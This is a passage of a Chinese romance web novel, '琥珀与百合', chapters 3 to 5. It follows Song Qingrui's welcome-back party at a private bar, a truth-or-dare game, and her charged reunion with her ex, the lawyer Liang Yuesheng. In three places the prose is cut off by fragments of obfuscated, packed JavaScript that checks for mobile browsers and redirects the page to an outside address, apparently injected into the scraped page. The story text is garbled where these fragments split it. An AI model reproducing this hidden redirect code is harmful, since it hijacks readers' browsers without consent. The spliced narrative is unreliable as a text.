《琥珀与百合》 3. 大冒险 宋青蕊喝了酒,不能吃药,洗了澡就睡过去了。 结果半夜发起烧来,把范絮秋吓了一跳,匆忙打车上医院,连衣服都没来得及换。 宋青蕊就这样病了三天。 期间张淼和李权来过家里吃饭,张淼本来预定的场子因为这个意外不得不取消。 她这个人向来说话不过脑:“太可惜了,我还是托熟人插的队呢,因为没想到你会突然回来。不过这季节就是很容易中招,小蕊你还是先好好养着吧。” 他们走了以后,范絮秋端了杯热水给宋青蕊,而她在接电话。 听了两句,电话那头应该是校方人事,因为宋青蕊在解释自己不能立刻到岗原因。 “嗯,好,谢谢。” 见她挂了电话,范絮秋说:“对方会不会把你已经在北城的事告诉宋老板?” 宋青蕊没跟她说自己已经拒接了好几个本地号码了,耸耸肩:“管他呢。” 范絮秋也不好多问,说起张淼:“这死丫头,说话这么多年都是这样。她没怪你的意思,你别放在心上。” “我知道。”宋青蕊打开社媒,点进本地划了划,提议:“但这次确实是我放了大家鸽子。不如就让我做东吧?去这里怎么样?” 她展示屏幕,范絮秋凑近一看,顿时摇头:“这也太贵了,而且估计比张淼订的那家还难约。” 宋青蕊给她看的是一个私人酒吧,范絮秋听过,专做年轻富二代的生意。会员预约制,什么聚餐、轰趴、生日宴……在北城寸土寸金的地方办,多有排场啊。 “没关系。”宋青蕊捧着杯子,表情略带歉意,“就当是我的补偿。” 范絮秋瞅了她一眼,张张嘴:“好吧。” “那我在群里和他们说了?” “先别。”她连忙制止,“我先订位置。” “对哦。”范絮秋紧急撤回,问,“你有认识的人?还是这会馆有宋老板的股份?” 宋青蕊没回答,点开和徐柏时的对话框。 表明来意,过了两分钟,对方回了个问号。 又过了几分钟,徐柏时发了一张图片过来,点开,是该酒吧的股东成员名单。 宋青蕊对这两个熟悉的名字恍若未觉,只问:“是不是约不上?那我找其他地方。” 她这么一说,徐柏时就明白了。 他回:“等着。” 隔天,时间地点位置就发到了宋青蕊的手机上。 她反手转发到群里,惹得成员刷屏。 范絮秋起哄:“宋小姐下血本了,谁都不准缺席啊。” 本来不想赴约的人也因好奇心来了,接风宴当天十分热闹。 范絮秋坐在宋青蕊旁边,小声耳语:“刚才那个端酒的服务生好帅,像吴彦祖,你觉不觉得?” 宋青蕊抬起下巴,看了眼回到吧台的九号店员,点评:“我觉得他旁边那个更帅。” 范絮秋嘿嘿笑:“都帅都帅。怪不得进来要预约,订座也不打折,原来钱都拿去养帅哥了。” 可不止呢。 环视室内的装修,偏金属风的质感搭配深色橡木的墙面,挑高的天花板上落下悬灯,暖黄的灯光和室内低饱和度的玻璃酒柜一撞,便折出一种纸醉金迷的静谧错觉。再结合地段,可见财力。 宋青蕊懒懒地靠在沙发上看那群玩得正起劲的朋友,张淼声音最大,李权手气不佳,脸都黑了。 她靠在范絮秋的肩头听她絮絮叨叨地点评男人,感冒好了八成,剩下两成因为昨晚没睡好而被无限放大。 这时他们游戏结束了,突然想起她这位主角,好像从头到尾都没参与过。 张淼不乐意了,跨步过来:“宋青蕊!” “不够意思啊,怎么请我们来玩,自己不玩呢?” 张淼拉着她手臂要把她抓起来,宋青蕊耍赖说自己没力气。 她撇撇嘴,道:“那玩点传统的!不费力气的。这你总不能拒绝了吧?” “玩什么?” “真心话大冒险。”张淼回头,“谁先来?” 有人递了个空酒瓶过来,范絮秋自告奋勇开局,一转就转到了李权。 后者骂了句“操”。 张淼大笑:“哥们出门没看黄历啊,今天这么背。” 刚才差点输得裤子都掉了,现在又来。 李权咬牙切齿:“谁来问?” 酒瓶又转了一圈,转到一个男的。 他咧唇一笑,第一个问题决定了后面问题的尺度,所以他并不客气:“上一次有x生活是什么时候?” 周围发出起哄的声音,一聊到这种带颜色的话题,就发了狠忘了情。 李权冷冷地说:“去年。” “卧槽,去年!” 张淼看热闹不嫌事大:“咱们李总是不是身体出什么毛病了?” “……去你丫的,滚。” 这么劲爆的开场,一下把才冷却的气氛炒热。 轮了几圈,李权一个人就占了三,张淼把他今天内裤穿什么颜色都问出来了,结果下一局还是他。 不过这次问问题的人变成了宋青蕊。 众人又慢半拍地意识到,玩了这么久,居然一次都没点到她! 张淼顿时拍手:“停停停——在场的人有什么事是彼此不知道的!倒是你,宋青蕊,你才是秘密最多的人好吗!” “可是没点到我啊。”她无辜眨眼。 张淼刚想说话,就听到身后有人开口:“宋青蕊?” 转身去看,好高挑的一个美人儿。 皮衣长靴,浓眉红唇,极具冲击性的一张脸,此时却充斥难以置信。 “真是你?”刑桃又走近了两步,灯光下,她看清了沙发里那个人的同时,那个人也看清了她。 范絮秋心里咯噔一跳,心想真是冤家路窄。 还没来得及开口打圆场,就听到宋青蕊说。 “好久不见。” 她如此平静,搞得刑桃有点大惊小怪了。 短暂的愣怔以后,她冷笑了一声:“我还以为我听错了,没想到还真是你。你居然回来了?” 宋青蕊乖巧应声:“对。” “你来这里干什么?” “朋友帮我办接风宴。”宋青蕊看着她,“这么巧。” 刑桃眯眼,“不巧,这家店是我开的。” 宋青蕊笑了,眉眼弯起来:“是吗?恕我眼拙。而且我感觉这并不是老板对客人的态度,所以……” “你——”刑桃戛然而止,话锋一转,“梁越声知道么?” 这个名字一出来,原本还在审时度势、交换眼神的众人感觉头顶好像降下一道名为八卦的轰雷——原来是前男友的朋友,难怪! 李权小声问范絮秋:“这人谁啊?” “梁越声的发小。” 李权骂了句脏话,还没来得及说什么,宋青蕊就摇了摇头。 “我好像没有告诉他的必要。” 刑桃双手环胸,勾着唇点头,脸上却没有一点笑意:“你说得对。” “祝你今晚玩得开心。”她踩着高跟鞋走了。 人还没走远呢,张淼就凑上来了。 天知道她对宋青蕊的这段恋情有多好奇。 过去他们虽然高调,但嘴巴却很严。别人只知道他们在一起很恩爱,却不知道为什么他们会在一起,又为什么会分手。 原来的倒霉蛋已经被张淼丢到脑后,她举着酒瓶装麦克风,问:“宋青蕊小姐,能不能采访一下你。” 李权让她别闹了,张淼说:“哎哟,我有分寸。再说了,我本来没打算提这个人的。这不是碰到了刚才那位美女吗?我相信大家都很好奇呢,对吧!” 有好几个人轻轻点了下头,没点头的脸上也带着兴趣盎然的笑容。 出来玩最怕扫兴,更何况今晚的主角是她自己。 所以宋青蕊说:“可以,你问吧。” 范絮秋疯狂给她使眼色,意思是小姐姐你可悠着点。 张淼却觉得都过去这么多年了,再爱也淡了。再加上宋青蕊刚才那句“没有告诉他的必要”,更是助长了她的作乱之心。 不过李权低声警告她:“你敢像问我那样问,你看我待会怎么收拾你。” 张淼怂了,把“梁越声床上技术怎样”换成了:“你喜欢他什么?” 其实这个问题大家也很好奇。 宋青蕊的这个前男友他们见得并不多,只知道人是对面的。 过去北艺和政大就隔了一条马路,看似亲近,实则不然。老师时常戏称对面的人以后就是他们的投资方,专出精英,其中不乏世家阔少,再不济也是寒门贵子。 梁越声的家境他们不太清楚,但是看性格,看做派,大概率是前者。 就算抛去这层,此男的学历和样貌也足够迷人。 但也不是所有人都好这一口的。 比如张淼,就对这种冷冰冰的高知男就没什么兴趣。 先不说难追,就算追到了,对方的性格如此无趣,谈着也不会有什么意思。 然而宋青蕊偏偏就是选了这样一个男友,完全不符合她平日里动若脱兔的性格。 宋青蕊想了想,回答:“嗯……我也说不清楚,有钱,长得帅,个子高?” 众人原本凑近的身体顿时散去,肤浅! 张淼咬牙又问:“那你最忘不掉他什么?” 话音一落,回应张淼的首先是沉默。 所有的视线都聚焦在宋青蕊身上,连范絮秋也不例外。 她意图开口的那个瞬间,那位九号服务生送酒过来。 李权说:“我们没有点这个。” 帅哥微笑道:“是我们老板娘送的。请慢用。” 刑桃刚才句句带刺,转头又尽地主之谊,为何?想来大概还是因为梁越声。 所以对方甫一转身,张淼就等不及了,去拽宋青蕊的手。 “说呀说呀。” “我要说了。”宋青蕊也没想逃避,咧唇一笑,她心知如果这个答案再让人失望,就还会被追问,于是半真半假地说:“应该是aftercare吧。” 全场哗然。 范絮秋捂住嘴,张淼在尖叫,已经懒得理会李权的威胁了,忙问:“他人看着禁欲,结果这么顶吗?他床上功夫是不是很好!!是不是!” “啊啊啊宋青蕊你快说啊!急死我了!!” 宋青蕊在起哄声中,说:“是。” 但是承认归承认,她不想再被审问。 于是擅自摆动桌上的酒瓶,随手一转,指着被点到的人说:“好了,下一位。” - 楚逸还在静养,事务所里一堆工作等着处理,梁越声的助理每天忙得脚不沾地,连和新来的美女前台开玩笑的时间都没有了。 一看到陶义进门,走出去的那半步又撤回来,迎上去:“可算等到您回来了,陶律救命!” 陶义才刚跨过门槛就欠他一条命,问:“怎么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以现在梁越声提出这个请求,吓了他一跳。 陶义还在等理由。 可梁越声还是没解释,径直走了。 - 沈决找他一定没好事,这是梁越声默认的规则。 果不其然,他甫一落座,好友就笑得一脸暧昧。 “听说楚师兄住院了,你最近忙得日夜颠倒,有些八卦肯定还没听说吧?” 梁越声纠正他:“我记得你是墨尔本大学毕业的,楚逸没留过学,应该不是你师兄。” “一个昵称而已,这么较劲干什么?”沈决给他倒上清酒。 穿和服的人进进出出,摆上餐点。 两人盘腿而坐,面对面,梁越声对他不怀好意的目光视而不见。 不过两分钟,沈决就忍不住了,开口扔下一枚炸弹:“宋青蕊回来了。” “她的接风宴在我的酒吧办的,但我那天不在,被刑桃撞上了。” 梁越声的筷子浸入芥末里,他抬手,看着上面过量的绿色,在碗缘撇净。 他想起今年的初雪,他从医院回去的路上,那条昏暗蜿蜒、空无一人的马路。 “所以呢。” 沈决没接这个话,而是说:“我太好奇她现在过得怎么样了,所以调了监控看,又问了那天值班的服务生。你猜我都看到了什么、听到了什么?” 梁越声一针见血地说:“和我有关。” 沈决打了个响指:“bingo。” 他眉飞色舞地等着梁越声的下一句,期待对方迫切的窘态,可梁越声竟生生没了下文。 “你这人真是,能不能给我点成就感?”沈决受不了他,但也藏不住事,一五一十地复述了一遍当天的情景,连刑桃和宋青蕊的对话都一字不漏地说出来了,有股非要打碎梁越声淡定模样的急躁。 “嗯。” “没了?” “我该说什么?”他放下筷子,抬头,“你又想听什么。” 到底认识这么多年了,沈决看着他灯光下稍显不霁的眉眼。 为前女友的几句话大发雷霆,确实不符合梁越声的作风。 但是嘛。 沈决凑过来,压低声音,语气含笑:“都兄弟,在我面前就坦诚点,别忍了。给你找了一个找她‘算账’的理由,好好把握啊。” 梁越声扯动唇角,眼底压着一股寒意,冷笑:“没必要。” 沈决啧了一声,还想说点什么,他就已经吃饱了。 “这就走了?” “嗯。” “那宋青蕊……” 梁越声说:“随她去。你们以后应该不会再有交集。” 接风宴这种事,办一次就够了。 出了包厢,寒意浸人。 梁越声刚拉开车门,陶义的信息就进来了。 【陶义】:你真要去? 【陶义】:资料发你了,你记得提前准备。 梁越声点开,看着文件里白底黑字的徐柏时三个字,退出来。 删删减减,回了个好,熄屏。 他打着方向盘驶入马路,回事务所需要提前变道,方便转弯。 想了想,还是选择了直行。 回家的路上下起雪来,初雪以后这天气变得十分常见,行人见怪莫怪,已无惊喜之意。 4.理智的天平 到的时候雪已经在地面上薄薄铺了一层,轮胎碾过的痕迹十分显眼。 梁越声把车停在一排枯树旁边,看向这陌生的建筑物。这边属于老城区,都是独栋步梯,每一栋楼的门口都贴着巷子的名字和号码。 比起明明想回家却把车来到了这里的原因,梁越声更厌恶的是自己过目不忘的记忆力。 范絮秋结婚的时候,给他发过请柬。 快递单上有她的新家地址。 过去他和她所有的交集都始于同一个人,唯一一次可以称为亲近的事件,只有她抱怨自己抢走了她的好朋友。 就是这样没什么交情的关系,让梁越声思考起她给自己寄请柬的动机。 他已经把她的好朋友还给她了,而她们也并未感情破裂,所以范絮秋的婚礼,如无意外,对方是会参加的。 梁越声没有去。 他送了丰厚的礼金,惊得范絮秋给他打电话道谢。虽然语气里那股难掩的失落不是冲着他的,但梁越声依旧敏锐地察觉到,她的婚礼并不圆满。 当年在宋青蕊的连哄带骗下创建的公开社交账号,其他人都还在用。 那是他分手以后第一次登陆,而范絮秋那天更新的照片里,理应出现的人并没有出现。 … 他坐在驾驶座,没有开灯,也没有开暖风。 北城的冬天凛冽且刺骨,哪怕是密闭的空间,寒意也会沿着每一道看似严丝合缝的空隙里钻进来。缓慢的侵入是无声无息的,等到觉得冷的时候,已经无法动弹。 … 她们今晚又去吃了铜锅涮肉。 范絮秋挺着肚子出来,宋青蕊吓唬她:“我要把你这个样子拍下来,发给你婆婆。” 好友果然被吓了个半死:“别,要是被她误会我怀孕了,你就等着看我被烦死吧。” 逃不过催婚肯定也逃不过催孕,范絮秋的婆婆一直没发作,是因为她老公职业特殊。可也是因为这个特殊,家长的期待很大。如果真的怀孕,范絮秋估计要被“供”起来。 宋青蕊收起根本没解锁的手机:“没出息。” “你有出息。”范絮秋哼了一声,两人沿着长街走出一段,本来以为这个话题就此揭过了,结果范絮秋突然把冻感十足的手往宋青蕊后颈放。 宋青蕊啊了一声,快速跑开,边跑边骂:“我是病人!” “少来,哪有这么生龙活虎的病人?” 你追我赶到小区门口,正准备回家呢,就听到不远处啪嗒一声。 两人停下脚步,同时望去。 那排绵延的枯树像冬日哨兵一样守着家园,一辆黑车匿在昏黄的路灯下,被从枝头掉落的一大坨积雪砸中挡风玻璃,散开的雪块模糊了坐在车内的面孔。 “这么晚了,谁会来这里?” 范絮秋走近两步,想要看清楚。 宋青蕊不知为何有种预感,并没有跟上去。 她站在原地,和那辆车遥遥相望。 缥缈的雪花落在她的头顶,可惜今夜太冷,所有的事物都不易融化。 刚被涮肉温暖起来的胃好像也随着这几步路融化,她伸手,拉住了范絮秋。 “算了算了。”她哄着好友,“说不定就是路过想去便利店买个东西呢?” 范絮秋:“那车顶的积雪都结了一层了,我就是好奇嘛,这可是奥迪呀。” “那可能是来找朋友的?你们这栋楼不是有很多深藏不露的有钱人吗。” “也是……” 范絮秋走在前,宋青蕊跟在后。 她进门之前又回头看了一眼。 那辆车还停在那里。 她收回视线,把记下来的车牌号又在心头滚了一遍。 - 后天就是入职的最后期限,在此之前,宋青蕊去宋家吃了顿饭,但是没吃成。 她就是来看一看宋志诚,见他面色还算平静,开口问他要了十万。 “啊宝,你突然要这么多钱干什么?” “花呀。”宋青蕊给他削了个苹果,“我刚回来,手头没什么钱,又还没有发工资。昨天去逛街,都不好意思进店。” 宋志诚一听,立马心疼起来,当场转了钱不说,还关心道:“你这段时间都住哪里啊?酒店吗?” 宋青蕊不说话。 “我让你回家住你又不乐意,家里那么多空房间,让阿姨随便收拾出来一个,不比酒店舒服啊?在这边又有人照顾你……” 受不了他这么絮絮叨叨,宋青蕊说:“那你给我买套房子,写我名字,这样我就有家可回了。” 这可就不是几万块的事了,宋志诚没有马上答应。 宋青蕊撒娇道:“哎呀爸爸,你看我都为了能离你近点回到北城工作了,你就不能给我的牺牲一点补偿吗?” “你真想离我近点,你就住家里。” “不是我不想,是陈阿姨会不高兴呀。”宋青蕊眨眨眼,说这话的时候没什么表情,语气十分恭敬,“别怪我说话难听,医生也说了您这病熬不了几年。所以剩下的时间,我不想因为我一个人害得全家不宁。您好不容易尝到一点婚姻的温柔,可别因为我而搞砸了。” 她话里话外都是为着自己着想,宋志诚被说动了。 “好吧。”他吸了口气,心里也清楚她是有备而来,“看好地段和户型了吗?” “还没呢,我都多久没回北城了,人生地不熟的,还要再看看。” “要不就从爸爸名下的房产里挑,直接拎包入住,还省事……” 宋青蕊是真还没想好:“再说吧。” 准备吃饭的时候,宋青蕊推着宋志诚下楼。 宋志城酝酿了一会儿,和陈苗说起这事,陈苗立马警惕地看向宋青蕊。 宋青蕊十分无辜地迎上去。 眼看后妈就要发作,宋志诚先将一军,问她怎么用这种眼神看自己女儿,跟仇人似的。 儿女之类的字眼简直正中陈苗雷区,两人争执起来,宋青蕊溜之大吉。 出了别墅区,刚上车,她打电话问徐柏时:“你在哪里?” “什么事?” “帮我查个车牌号。” 徐氏的会议刚结束。 徐柏时这会儿正忙着送京和的人。 他瞅了眼站在不远处在被自家部门经理奉承的梁越声,想起两小时前推开会议室门,看到他第一眼时所受到的惊吓,不由得摸了摸心脏。 这会儿好不容易散场,致使他们结怨的始作俑者就打来电话,徐柏时坏心眼地说:“梁越声开的是奥迪A8L,传奇黑,本地牌照。” 那边沉默了。 徐柏时啧了一声:“你要查的不会真是他吧?” 宋青蕊顾左右而言他:“我现在离你公司很近,我去找你。” “……你现在来找我干嘛?”徐柏时又瞄了眼那群黑压压的西装暴徒。 也不知道陶义怎么想的,竟然让梁越声来开会,还带了这么多人,不知道的还以为是hei社会。 “吃饭。” “不是,我待会……” “十分钟到。” 靠。 徐柏时转身接她电话时,另一只耳朵刚听到梁越声在拒绝待会一起用餐的邀请。但是以他们经理的七寸不烂之舌,这个东百分之八十是能做成的。 正想发信息跟宋青蕊说,她现在来就等于置他于死地。 结果字还没打完,助理就小跑过来跟他说,要走了。 徐柏时挑眉:“这就走了?” “对,已经设好宴席了。” “……” “经理说您这次再不跟着去应酬,他就汇报董事长了……” 徐柏时抬眼瞥去,经理在看他。 梁越声也在看他。 他眼皮一跳,心一横,跟宋青蕊说明了情况,剩下的就听天由命了。 - 京和作为北城的红圈律所,其合伙人的身价这些年也随着一个个轰动业内的胜诉业绩而水涨船高 因为公司涉及的业务比较敏感,平时除了法务部,张经理和业内许多律师都算得上有交情。 京和的楚逸和陶义他也见过几次,都还算好说话。就是这个梁越声…… 他父亲是赫赫有名的国际经济法博士,虽已退休,但圈里不少大状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940493|192837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是他的学生。而他母亲则是北协医院的主任医师,一号难求。更别提他其他的叔叔阿姨,在北城多多少少也都是有头有脸的人物。 如此显赫的家世,本人又足够勤奋上进,三位合伙人里他的资历虽然最浅,实力却不分伯仲。 对比徐柏时这个空降的太子爷,张经理叹了口气,脸色不悦地和留下来的助理低语:“徐总说出去接个人,到底是去接什么人?这么久都还没回来?” “他只说了接人,但没说是谁……”助理细若蚊声。 但包厢里就三个人,梁越声想不听见都难。 京和的其他人由小唐带回去了,应酬向来是老板的活。过去因深谙梁越声不喜与他人周旋的性格,所以一般这种场合都是由楚陶两位出面。 今天之所以破例答应,也是看在徐董的面子上。 一想到徐柏时见他就跟见了鬼一样的表情,梁越声就觉得可笑。 整场会议疯狂掉链子不说,连一些法务部早已汇报过的问题都拿出来质疑。 梁越声喝了两瓶矿泉水才把自己的烦躁按捺下去,可心里仍然浮起一层嘲弄。 他竟然输给了这样的人。 想到这,他那股经久不熄却并不猛烈的心火就好像被风吹了一下,偏离了理智的天平。 梁越声站起来。 张经理吓了一跳,连忙开口:“梁律……” “既然徐总有事,那我就不打扰了。贵司近日所提出的一切疑问,今天已在会上详尽地做出解答,如果还有什么疑惑,陶义的电话二十四小时开机。” 张经理知道梁越声今天出现只是意外,京和给的说法是陶义还在出差。但他私心一直想让梁越声来负责这个案子,还以为今天会是个游说的好机会,但还没开口,人就要走了? “徐总是真的有要事在身,这样,我们先上菜吧。梁律辛苦了,总不能空着肚子回去。” 梁越声态度坚决:“不必。” 他如果早知沈决会给他带来消息,他就不会来淌这蹚浑水了。 张经理喋喋不休,递了个眼神给助理,助理生怕张经理和徐董告状,把自己给连累了,于是卖命地拦下梁越声。 主仆二人一唱一和听得他耳朵疼,梁越声不堪其扰,唇畔咧出一点并不客气的笑意。 “其实我和徐总见的这一面,也算是叙旧了。但我们只能点到即止,不适合聊太多。” 张经理听懵了:“什么意思?” 梁越声微微偏身:“过去徐总曾撬过我墙角。” “……” “……” 包厢里死一样的沉寂。 张经理肠子都悔青了——他之前还猜想京和让陶义来负责这个案件的原因,还以为情况不严重,所以劳烦不到梁越声。 结果竟然还有这层关系在! 张经理额前浮现一层冷汗,助理拦人的手也悻悻地放下。 收效甚佳,梁越声正欲推门而出。 门缝将将敞开,就听见一阵极近的笑声。 迎面扑来的先是一阵香气,而后是她的目光。 那双莹润透亮的黑眸在将他揽入眼中那一刻,先是观察,后是审视,那眼神是带有兴趣的,甚至是兴奋的,可偏偏没有最该有的错愕。 梁越声看着这张熟悉又陌生的脸。 余光里是上前一步,和她贴得更近的徐柏时。一对玉人,美如成璧。 他不知道他此刻的眼神有多深邃瘆人,以至于徐柏时硬着头皮凑上来,生怕他对宋青蕊做点什么。 张经理跑出来,对上这剑拔弩张的一幕。 始作俑者却事不关己似的,还有心情歪头眨眼,睫毛浓密如扇,像蝴蝶翅膀。 扇得梁越声心里那把火几近燎原。 她似清泉般的声音在此刻却没有起到半点舒缓的作用。 尤其是看她结束了思考的表情,像是从记忆深处翻出一段腐烂的回忆,将其和眼前的人对上号后,梁越声几不可察地皱了皱眉。 她偏头问徐柏时:“这就是梁律师吗?” 不等回答,她就伸出手。 “你好。我是宋青蕊。” 5.宋小姐 他的视线从她的面孔滑落,目光烫过她的手心,又回到她的瞳孔里。 宋青蕊清楚地看见他镜片下的双眸微微眯了眯,可除此之外,就没有别的反应了。 没有抬手,也不回应。 没礼貌。 宋青蕊不甚在意地利落收手。 不知道是不是她的错觉,明明梁越声的双手都插在兜里,没有想要和她相握的意思,可她一收手,他好像更不高兴了。 张经理在这时追了出来。 看到徐柏时去接的人是个女人,顿时两眼一黑,说话都短半截气:“梁律,我刚已经打电话让服务生上菜了。您就赏个脸,留下来用个便饭,不然我没办法跟徐董交代啊……” 梁越声并不松口:“小徐总会替你解释的。” 张经理:“……” 徐柏时算是听懂了,不过有求于人,他倒也愿意把姿态放低点:“梁律难得来一趟,总得给我们一次做东的机会吧?既然来了,现在又走,算怎么回事?” 梁越声冷漠地看着他,眼神算不上友善。 宋青蕊被忽略了,也不和他计较,反而有点关心地问:“你不饿吗?” 原本气氛就僵,她这么一问,不仅没有打破局面,还雪上加霜。 梁越声的胃部仿佛听她使唤似的灼烧起来,可他回复徐柏时:“恕难从命。” 说罢便大步流星地离开。 张经理气得跺脚,徐柏时却说:“你费心讨好他有什么用处?这案子本来就不是他负责。如果他真有心要给家父几分薄面,怎么会推给陶义。” 这些张经理何尝不知,可多条路子总比一条大道走到黑得好。他们不需要过度讨好梁越声,但至少面上要过得去啊!而且…… 他恨铁不成钢地看看徐柏时,又看了眼宋青蕊,对这位太子爷的埋怨已然决堤:“您能不能看看场合?梁越声出了名的不近女色,您耽误时间去接个女人过来,是想干什么?” 话说到这份上,他也顾不得面子了,用长辈的口吻质问:“还有,刚才梁律说你以前撬过他墙角,这件事是真的还是假的?什么时候的事?” 徐柏时都还没张嘴呢,宋青蕊就问:“他是这样跟你说的?” 张经理戒心很重地问:“……你是?” 宋青蕊没回答,转身跟了上去。 徐柏时想拦没拦住,手在半空停了两秒,垂下来。 回头对上张经理余怒未消的眼睛,无奈道:“她就是那个‘墙角’” 对方的目光顿时变作惊悚。 … 这里的地下停车场很大,大到正常的脚步都会有回音,更何况是高跟鞋。 梁越声并未回头,宋青蕊也不开口。 只是察觉她越靠越近,他摁下车钥解锁,手握上车把手的时候,还是偏了偏头。 她问他:“为什么回头?” 梁越声收回视线:“出于一个成年人应有的安全意识。” 宋青蕊笑了:“怕我跟踪你?” 他不答,拉开车门。 “梁律师安全意识很高嘛。” 见他要上车,宋青蕊也不急。她就站在车前,从梁越声开口那一刻起就不再靠近。好像他的话是休止符。 这样玩笑似的口吻在他听来十分轻浮,加之刚才那句自我介绍,只会令他顿感她的演技越来越精湛了。 可长进的又何止是她。 “第一次见面,宋小姐怎么知道我姓梁?” 在别人开口之前,她就已经说出答案。 “嗯……”她说谎不眨眼,“我们以前好像是校友?” 他勾唇,可那凉薄的笑意并不足以融化冷淡的眉眼。 “宋小姐也是政大毕业的?” “哦,那倒不是。” “那何来校友的说法?” “觉得你眼熟而已。” 眼熟?何止眼熟! 无心陪她玩闹,梁越声关上车门。才挂档,车窗就被人敲了敲。 他闭了闭眼,逐渐降下的空隙里,她站在外面,近在咫尺。 香气迎面扑来,她还是这么喜欢这个味道,喜欢精心打扮自己。不论在谁身边。 宋青蕊问他:“徐柏时请你吃饭你为什么突然要走?因为我来了?” 他并没有直接回答:“如果宋小姐是来当说客的,那你可以走了。” 她闻言竟真直起腰,和他拉开距离。 隔着车窗,他看过来,又道:“如果徐总连基本的商业礼仪都不遵守,惹得合作伙伴不快后要派女人来解决问题,那还请原谅我的傲慢。” 她的关注点在于:“你不开心了?” 明明是关心,可梁越声却觉得是挑衅。且是一而再再而三。 只因刚刚她已经先入为主地向他问好,并自我介绍。 既然想要装傻充愣,粉饰太平,那现在这样僭越,又是在干什么? 他踩下油门,反问:“宋小姐还不走?” “要走了。”宋青蕊退开两步,脸上依旧带着礼貌的微笑,仿佛并未因他傲慢的对待而生气,“我只是想来确认一下。” “确认什么?” “昨晚在朋友家楼下看到一辆和梁律气质很搭的车。” “所以?” 四目相对,她终于在他眼里看到了一点过去的特质。 从前梁越声为她做任何事都不会邀功,即便邀功也不走寻常路,他总喜欢引导她去找答案,借她的口示爱。仿佛她亲自感受,亲口说出来,他做的一切才算有意义。 可他今天太冷漠了。 宋青蕊并不想如他所愿。 她低下头,长发从肩头滚落,露出刺目的光芒。他凝神去看,发现是她的钻石耳坠。 “所以,你不要生徐总的气了。要生就生我的气吧。” … 送走脸黑似关公的、没礼貌的梁律师,宋青蕊回到包厢里吃饭。 不过她从落座到上徐柏时的车,那张经理看她的眼神都带着一股幽怨和窥探,好像在诘问,哪来的狐狸精。 徐柏时问她:“和他说了什么?” “没说什么。” “没说什么你特地追出去?” “本来是想帮你说两句好话的。” 这个“本来”真是让人汗流浃背。 “……结果呢?” “嗯……不知道。”宋青蕊从包里摸出口红补妆,“但你平时小心点吧,特别是开车,看到奥迪小心被撞。” “……” 明知是玩笑,但徐柏时还是难免想象了一下那个情景。 “送你回范絮秋那?” 宋青蕊摇头:“送我去X大吧。” “去办入职?” “嗯。” “那你上班以后就住在宿舍了?” 说到这个,宋青蕊又有事要找他帮忙。 “现在北城最贵的地段是哪里?都有什么房源?”她既然跟宋志诚开了口,就得要最好的。 “你要买房子?” “宋老板给我买。” 徐柏时想了想,“最近倒是很多新盘开售,但是交付至少也得一两年。你如果不介意,我可以帮你问问我朋友,他最近周转不开,想抛售一两套现房。” “可以啊。”宋青蕊说,“但是不用卖你人情,价格该多少就多少。” 他真服了:“没见过这么败家的人。” 宋青蕊没接话。 开到半路,徐柏时又问:“那天接风宴,你是不是已经和梁越声见过了?” 看他们今天这反应,不像第一次重逢。 “没。” “那你岂不是白跑一趟?” 宋青蕊奇怪了:“我只是去办接风宴,和他有什么关系?” 徐柏时信她这套说辞才有鬼了:“你明知道那是沈决的地盘,而沈决又是那怪胎为数不多的好友,你不避嫌就算了,还主动露面,就别跟我装了。” 宋青蕊被他这句“怪胎”逗笑:“我真没别的心思。” “我不信。” “不信就算了。” “你……” 车在X大门口停下,徐柏时还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……” 她们并不是朋友,非要说的话,甚至是情敌。 一个在梁越声恋爱期间上蹿下跳、阴阳怪气,一个明知对方心怀不轨,却恃宠而骄,总用激将法来刺人。 她和刑桃上一次单独见面,是她刚和梁越声在一起的时候。 对方开门见山地贬低她:“你配不上他。” 彼时宋青蕊也不是吃素的,直接回击:“总比有的人嘴上说用情至深,却男友不断地好。” 刑桃喜欢梁越声,是公开的秘密。 可她一个接一个地谈,也是有目共睹的事实。 宋青蕊和她针锋相对,理由倒不是觉得她多管闲事,或者她和梁越声的情分很碍眼,而是一个根本不知道什么是爱的人总喜欢站在道德制高点,去指点她如何爱人。 她说过最难听的话就是:“你既然这么会谈恋爱,为什么梁越声不爱你?” 至于刑桃说过最难听的话,太多了,她选不出来。 时过境迁,她们居然会有如此和平的时刻,用来小酌一场。 幸福的人原谅一切。她和沈决是彼此的收官之作,天造地设的一对。 所以刑桃先低头了:“过去种种,我做错的,我向你道歉。” 宋青蕊也不想计较:“或许那时候,我们都太年轻了。” “现在不年轻了。”刑桃递来一张纸条,“我希望你能认真地再做一次选择。” 宋青蕊垂眼去看。 一个地址。 她没接。 刑桃耸耸肩:“别误会,你离开以后,他并没有歇斯底里,也没有颓废潦倒。所以他想不想复合,我也不知道。” “那你何必多此一举。” “因为起码他爱过你。”